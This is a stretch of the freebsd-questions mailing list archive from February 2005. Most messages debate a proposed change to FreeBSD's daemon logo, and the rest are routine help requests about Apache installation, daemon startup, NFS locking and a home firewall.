Wed, 9 Feb 2005 20:07:29 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <8922377677.20050209200729@hexren.net> To: freebsd-questions@freebsd.org In-Reply-To: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> References: <420A5AF3.6030903@freebsd.org> <8ca932905020910563139f7a4@mail.gmail.com> <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:07:32 -0000 >>> See the thread "The FreeBSD Project is announcing a public competition >>> for the new logo design. ????" in -advocacy - I've already replied with >>> my views on the subject, along the same lines as your comments. >> I'm not subscribed to -advocacy can you provide me with an archive >> link to this thread in question? I wasn't able to find it based on the >> subject you provided. JG> You can follow this post at: JG> http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ --------------------------------------------- And this daemon character seems cute from somebody's point of view, but somebody may think which does not suit for the professional products to indicate that are using the FreeBSD inside. Not my line of thought. I like the logo and its charm :) Hexren From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:07:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8CD1216A4CE for ; Wed, 9 Feb 2005 19:07:44 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A38243D1F for ; Wed, 9 Feb 2005 19:07:44 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id 8972C6925B for ; Wed, 9 Feb 2005 14:07:43 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 14:08:35 -0500 Date: Wed, 9 Feb 2005 14:08:35 -0500 From: Louis LeBlanc To: freebsd-questions@FreeBSD.org Message-ID: <20050209190834.GD18088@keyslapper.net> Mail-Followup-To: freebsd-questions@FreeBSD.org References: <20050209185530.GC18088@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8GpibOaaTibBMecb" Content-Disposition: inline In-Reply-To: <20050209185530.GC18088@keyslapper.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:07:44 -0000 --8GpibOaaTibBMecb Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Scratch that. Found it. Most heinous dude. I have some more colorful expressions, but I wouldn't want to "offend" anyone's sensitivities. Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Genius, n.: A chemist who discovers a laundry additive that rhymes with "bright." --8GpibOaaTibBMecb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCl+yr4Wi/oDI2aIRAvftAJ9rKIqjiJpCZbvPBNqV9O0HIg8opwCghpfk rbGeiRKfEFaS5N3sWSQR+EI= =kJiK -----END PGP SIGNATURE----- --8GpibOaaTibBMecb-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:12:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4EE7716A4CE for ; Wed, 9 Feb 2005 19:12:54 +0000 (GMT) Received: from ptb-relay02.plus.net (ptb-relay02.plus.net [212.159.14.213]) by mx1.FreeBSD.org (Postfix) with ESMTP id E69DF43D2F for ; Wed, 9 Feb 2005 19:12:53 +0000 (GMT) (envelope-from marko@freebsd.org) Received: from movens.plus.com ([80.229.231.20] helo=[127.0.0.1]) by ptb-relay02.plus.net with esmtp (Exim) id 1CyxGb-000KNd-0s for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 19:12:49 +0000 Message-ID: <420A604D.5000403@freebsd.org> Date: Wed, 09 Feb 2005 19:11:09 +0000 From: Mark Ovens User-Agent: Mozilla Thunderbird 7.0 (Windows/20050209) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20050209185530.GC18088@keyslapper.net> In-Reply-To: <20050209185530.GC18088@keyslapper.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Antivirus: avast! (VPS 0506-0, 08/02/2005), Outbound message X-Antivirus-Status: Clean Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:12:54 -0000 Louis LeBlanc wrote: > On 02/09/05 04:32 PM, Charles-André Landemaine sat at the `puter and typed: >> This will sign the death of FreeBSD. >> >> How could they believe such crap?! Who said beastie is evil?! This is >> totally non-sense, it's a logo, it's not the CD cover of a heavy-metal >> release...! >> >> I think the reasons are the same as NetBSD. Do extremist Republicans >> threaten BSD distros? >> >> The word "daemon" in greek means "server" (the person, not the >> hardware). This is neither good nor bad, if it has to be either one, >> then it's good. > > Uh, not to be rude, but what the hell are you talking about? I don't > remember anyone talking about changing the logo. http://logo-contest.freebsd.org/announce.txt Read it and weep. Mark --- avast! Antivirus: Outbound message clean. Virus Database (VPS): 0506-0, 08/02/2005 Tested on: 09/02/2005 19:11:10 avast! - copyright (c) 2000-2004 ALWIL Software. http://www.avast.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:13:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 18C0616A4CE for ; Wed, 9 Feb 2005 19:13:37 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id CA5BB43D2F for ; Wed, 9 Feb 2005 19:13:32 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 19:13:31 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp004) with SMTP; 09 Feb 2005 20:13:31 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: Hexren , freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 20:08:00 +0100 X-Mailer: KMail [version 1.3.2] References: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> <8922377677.20050209200729@hexren.net> In-Reply-To: <8922377677.20050209200729@hexren.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209191332.CA5BB43D2F@mx1.FreeBSD.org> Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:13:37 -0000 On Wednesday 09 February 2005 20:07, Hexren wrote: > >>> See the thread "The FreeBSD Project is announcing a public competition > >>> for the new logo design. ????" in -advocacy - I've already replied with > >>> my views on the subject, along the same lines as your comments. > >> > >> I'm not subscribed to -advocacy can you provide me with an archive > >> link to this thread in question? I wasn't able to find it based on the > >> subject you provided. > > JG> You can follow this post at: > JG> http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ > > > --------------------------------------------- > > And this daemon character seems cute from somebody's point of view, > but somebody may think which does not suit for the professional > products to indicate that are using the FreeBSD inside. i know a certain penguin who doesnt look professional at all and is the most famous animal in it "scene" by now. > > Not my line of thought. I like the logo and its charm :) > > Hexren > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:28:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1ED2916A4CE for ; Wed, 9 Feb 2005 19:28:35 +0000 (GMT) Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179]) by mx1.FreeBSD.org (Postfix) with SMTP id CCC8B43D1D for ; Wed, 9 Feb 2005 19:28:34 +0000 (GMT) (envelope-from sp0ng3b0b@sbcglobal.net) Received: from unknown (HELO ?10.1.1.25?) (joe?stevensen@69.107.60.89 with plain) by smtp800.mail.sc5.yahoo.com with SMTP; 9 Feb 2005 19:28:34 -0000 Message-ID: <420A6465.30402@sbcglobal.net> Date: Wed, 09 Feb 2005 11:28:37 -0800 From: sp0ng3b0b User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-8859-1?Q?Charles-Andr=E9_Landemaine?= References: In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit cc: freebsd-questions@FreeBSD.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:28:35 -0000 Charles-André Landemaine wrote: > This will sign the death of FreeBSD. > Oh please, wake me up, it's a nightmare!!! Come on now, is changing the logo ALL that BAD? Companies and organizations do it all the time. Who cares? It's not like a new logo will introduce new bugs and vulnerabilities in your OS! Change is good. Time to try something different. I think some folks should relax and not get too upset. There are worse things going on in the world... ...my 2 cents... From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:29:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8406116A4CE for ; Wed, 9 Feb 2005 19:29:10 +0000 (GMT) Received: from smtpauth09.mail.atl.earthlink.net (smtpauth09.mail.atl.earthlink.net [209.86.89.69]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4CE0943D1D for ; Wed, 9 Feb 2005 19:29:10 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth09.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CyxWP-0000md-JL; Wed, 09 Feb 2005 14:29:09 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org, jpeg@thilelli.net Date: Wed, 9 Feb 2005 13:29:36 -0600 User-Agent: KMail/1.6.2 References: <8ca932905020910563139f7a4@mail.gmail.com> <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> In-Reply-To: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502091329.36205.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcf0e9f5a9f166f65a7db226f1a3302c3d350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Chad Morland Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:29:10 -0000 On Wednesday 09 February 2005 12:58 pm, Julien Gabel wrote: > >> See the thread "The FreeBSD Project is announcing a public > >> competition for the new logo design. ????" in -advocacy - I've > >> already replied with my views on the subject, along the same lines > >> as your comments. > > > > I'm not subscribed to -advocacy can you provide me with an archive > > link to this thread in question? I wasn't able to find it based on > > the subject you provided. > > You can follow this post at: > http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ I like the daemon, and would like it to remain FreeBSD's mascot. However, I don't see a problem with separating the logo from the mascot. A decent example of this is Slackware's logo, which is separate from their pipe smoking penguin. Check out both the "Serious Slackware" and "Got Slack" t-shirts at the link below. Each t-shirt represents Slackware in a different light. Both are still correct; but one is certainly more "business friendly". http://store.slackware.com/cgi-bin/store/search?id=sPyZ7iNL:mv_pc=229 Having a professional looking logo would make advocacy easier. People do have their prejudices; and if people misunderstand the daemon, then it is not representing FreeBSD effectively. We should be able to have both without feeling like we "sold out". I'll stop here and sign up for the advocacy mailing list. Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:30:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D4FC016A4CE for ; Wed, 9 Feb 2005 19:30:10 +0000 (GMT) Received: from ALLS.cdi-axion.com (cdi-axion.com [206.162.137.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6A03143D45 for ; Wed, 9 Feb 2005 19:30:10 +0000 (GMT) (envelope-from Medik@pbsclan.com) Received: from brain.pbsclan.com ([216.228.217.55]) by ALLS.cdi-axion.com (8.12.5/8.12.5) with ESMTP id j19Jo0qH017783; Wed, 9 Feb 2005 14:50:00 -0500 Message-Id: <5.1.0.14.2.20050209142821.00b257b0@mail.pbsclan.com> X-Sender: Medik@pbsclan.com@mail.pbsclan.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 09 Feb 2005 14:30:17 -0500 To: Erik Norgaard From: ".:PBS:. Medik" In-Reply-To: <420A40B2.3050403@locolomo.org> References: <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed cc: questions@FreeBSD.org Subject: Re: Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:30:10 -0000 Thank you for replying so quickly. And to further tell you my problem here goes: I installed my copy of 4.6.2 cleanly on a machine, to avoid having to find myself looking for more ports and programs to install I did a complete installation without bothering with the configuration of Xwindows ( as I will be accessing this box from SSH on a windows machine) so I don't need the XFREE86 or however its called, hehe. So in essence this is all being fine tuned by remote on LAN. To answer your question about whether I'm downloading .iso, no I did that for the first copy of the OS only and made a cd copy from windows yes. But all further ports I grab are *.tar.gz straight from Apache.org yes and then ftp'd into my bsd box. I can unzip them fine then I'm stuck with the tar to which I believe I 'untared' it correctly that now I have an apache_1.3.33 folder, which to me seems fine, but I don't believe I put it in the right directory tree. Also I have printed out the better part of the FBSD handbook, but right now I think I'm having an info overload. I've been at this for roughly 2 weeks now, out of stubbornness I didn't wish to disturb anyone with this, but my buddy who tutored me way back when has since gone away. I can supply you with more info if you wish, as this is perhaps only the tip of my iceburg.. :) Thanks again, -Marc From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:32:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 93E8216A4CE for ; Wed, 9 Feb 2005 19:32:11 +0000 (GMT) Received: from mailgw2.post.dk (mailgw2.post.dk [193.3.69.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id AEEA243D1F for ; Wed, 9 Feb 2005 19:32:10 +0000 (GMT) (envelope-from peter.lidell@post.dk) Received: from srwsha502.postdk.net ([10.23.1.41]) by mailgw2.post.dk with Microsoft SMTPSVC(5.0.2195.6713); Wed, 9 Feb 2005 20:32:09 +0100 Received: From exbrha501.postdk.net ([193.3.82.24]) by srwsha502.postdk.net (WebShield SMTP v4.5 MR1a); id 1107977528702; Wed, 9 Feb 2005 20:32:08 +0100 Received: from exmbxa501.postdk.net ([193.3.82.26]) by exbrha501.postdk.net with Microsoft SMTPSVC(5.0.2195.6713); Wed, 9 Feb 2005 20:32:08 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Wed, 9 Feb 2005 20:32:08 +0100 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: start of daemons Thread-Index: AcUO3gr0iVMbVIfbQ7+vEeQBMw2FyQ== X-Priority: 1 Priority: Urgent Importance: high From: To: X-OriginalArrivalTime: 09 Feb 2005 19:32:08.0551 (UTC) FILETIME=[0B53FF70:01C50EDE] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: start of daemons X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:32:11 -0000 Hello, I have installed apache and spamd from source and would like for them to = start on bootup. How do I do that? (there are no .sh scripts for them in = /usr/local/etc/rc.d) Thanks for your time. Regards Peter From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:32:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 69DBC16A4CE for ; Wed, 9 Feb 2005 19:32:31 +0000 (GMT) Received: from unsane.co.uk (unsane.co.uk [62.140.220.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9EC1F43D41 for ; Wed, 9 Feb 2005 19:32:30 +0000 (GMT) (envelope-from jhary@unsane.co.uk) Received: from unsane.co.uk (localhost [127.0.0.1]) by unsane.co.uk (8.13.3/8.13.3) with ESMTP id j19JWdMo008585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Feb 2005 19:32:39 GMT (envelope-from jhary@unsane.co.uk) Received: from localhost (jhary@localhost) by unsane.co.uk (8.13.3/8.13.3/Submit) with ESMTP id j19JWdZh008582 for ; Wed, 9 Feb 2005 19:32:39 GMT (envelope-from jhary@unsane.co.uk) Date: Wed, 9 Feb 2005 19:32:38 +0000 (GMT) From: Vince Hoffman To: freebsd-questions@freebsd.org In-Reply-To: <16112141097.20050209171653@hexren.net> Message-ID: <20050209192820.S8420@unsane.co.uk> References: <200502090856.16001.algould@datawok.com> <16112141097.20050209171653@hexren.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: Re: [OT] easy authpf access from Windows (for non-unix users)? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:32:31 -0000 On Wed, 9 Feb 2005, Hexren wrote: > ALG> Is anyone running authpf with Windows clients in the network? If so, > ALG> how are the Windows clients logging in? What's the easiest mechanism > ALG> for this. > > ALG> I want my grandson to have free access to the (Windows) computers; but I > ALG> want an adult to manually authorize internet access to prevent > ALG> unsupervised surfing. > > ALG> Thanks, > > ALG> Andrew Gould > > ALG> _______________________________________________ > ALG> freebsd-questions@freebsd.org mailing list > ALG> http://lists.freebsd.org/mailman/listinfo/freebsd-questions > ALG> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > --------------------------------------------- > > Putty is, in my experince an easy way to give Windows Clients SSH > capabilities. Plus its free. > > Hexren > > http://www.chiark.greenend.org.uk/~sgtatham/putty/ otherwise try openssh under cygwin www.cygwin.com (gives you a *nix link environment on the windows box, so putty may be better depending on your needs.) > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:33:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E29016A4CE for ; Wed, 9 Feb 2005 19:33:26 +0000 (GMT) Received: from mail1.simplenet.com (mailer.simplenet.com [209.132.1.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id D6F1C43D3F for ; Wed, 9 Feb 2005 19:33:25 +0000 (GMT) (envelope-from tt-list@simplenet.com) Received: from [192.168.1.106] (24.25.210.244) by mail1.simplenet.com (7.0.016) (authenticated as tt@simplenet.com) id 4209EDCB00002FBB for questions@freebsd.org; Wed, 9 Feb 2005 11:33:25 -0800 Message-ID: <420A6586.1000302@simplenet.com> Date: Wed, 09 Feb 2005 11:33:26 -0800 From: Tim Traver User-Agent: Mozilla Thunderbird 1.0 - [MOOX M3] (Windows/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: NFS File Locking across multiple machines X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:33:26 -0000 Hi all, a couple of years back, we ran into a problem with the FreeBSD NFS code where file locks were not seen by other machines. We use Netapp disk hardware to mount NFS filesystems to our FreeBSD systems. In the past, two different machines would not recognize locks from each other, and would sometimes cause file collisions. From the same machine, two different processes would recognize locks without a problem. In our experience, the Sun servers that we had also did not have any problems. This was after creating specific tests to make this determination. We reported it to the freebsd developers way back when, and have lost track as to the status of the issue. Does anyone on this list know of the developer that was developing the NFS code ??? or know anything about the issue ??? or have an answer ??? ;) I'd like to talk to him/her to see what the status is in the later FreeBSD 4.x series as well as 5.x Thanks, Tim. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:34:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 43AFE16A4D8 for ; Wed, 9 Feb 2005 19:34:32 +0000 (GMT) Received: from smtp816.mail.sc5.yahoo.com (smtp816.mail.sc5.yahoo.com [66.163.170.2]) by mx1.FreeBSD.org (Postfix) with SMTP id EA5E543D41 for ; Wed, 9 Feb 2005 19:34:31 +0000 (GMT) (envelope-from sp0ng3b0b@sbcglobal.net) Received: from unknown (HELO ?10.1.1.25?) (joe?stevensen@69.107.60.89 with plain) by smtp816.mail.sc5.yahoo.com with SMTP; 9 Feb 2005 19:34:31 -0000 Message-ID: <420A65CA.4000504@sbcglobal.net> Date: Wed, 09 Feb 2005 11:34:34 -0800 From: sp0ng3b0b User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: darryl@osborne-ind.com References: <000801c50ec5$a2115c00$0701a8c0@darryl> In-Reply-To: <000801c50ec5$a2115c00$0701a8c0@darryl> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Firewall throughput question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:34:32 -0000 Darryl Hoar wrote: > Greetings, > I have had a Freebsd firewall (Older computer with (1) 3com 10Mb > ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card). > The firewall croaked on me (motherboard died). As a quick fix, > I plugged in a Linksys BEFSX41. > > My Question is, should I build a new Freebsd firewall or just > continue using the Linksys ? Throughput and security are my > concern. I can have up to 20 machines on the LAN at one time > using the internet, so traffic throughput is a factor. > You should use the Linksys if you are comfortable with it. It does use less electricity. If you are really concerned with security and perforance, I recommend at least 500 MHz and 256 MB RAM. I have used Intel/3Com cards and both are reliable. I recommend using PF though. I am working on a replacement firewall right now. I am using a Sun Ultra 5 (360MHz) with a quad ethernet card. It will be running OpenBSD and PF. I may using FreeBSD though, because I want to use ntop and ntop does not work on OpenBSD. Hope that helps. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:34:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D31D716A4D0 for ; Wed, 9 Feb 2005 19:34:48 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id BE5B343D1D for ; Wed, 9 Feb 2005 19:34:47 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 19:34:46 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp024) with SMTP; 09 Feb 2005 20:34:46 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: sp0ng3b0b , =?iso-8859-1?q?Charles-Andr=E9=20Landemaine?= Date: Wed, 9 Feb 2005 20:29:18 +0100 X-Mailer: KMail [version 1.3.2] References: <420A6465.30402@sbcglobal.net> In-Reply-To: <420A6465.30402@sbcglobal.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209193447.BE5B343D1D@mx1.FreeBSD.org> cc: freebsd-questions@FreeBSD.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:34:49 -0000 "if we dont take care of the little things around us, what right do we have to be upset on the bigger ones?" On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote: > Charles-André Landemaine wrote: > > This will sign the death of FreeBSD. > > Oh please, wake me up, it's a nightmare!!! > > Come on now, is changing the logo ALL that BAD? Companies and > organizations do it all the time. Who cares? It's not like a new logo > will introduce new bugs and vulnerabilities in your OS! > > Change is good. Time to try something different. I think some folks > should relax and not get too upset. There are worse things going on in > the world... > > ...my 2 cents... > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:36:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AA27C16A4CE for ; Wed, 9 Feb 2005 19:36:35 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 30A7943D1F for ; Wed, 9 Feb 2005 19:36:35 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id A93346925A for ; Wed, 9 Feb 2005 14:36:34 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 14:37:26 -0500 Date: Wed, 9 Feb 2005 14:37:26 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050209193725.GE18088@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0lnxQi9hkpPO77W3" Content-Disposition: inline In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: start of daemons X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: 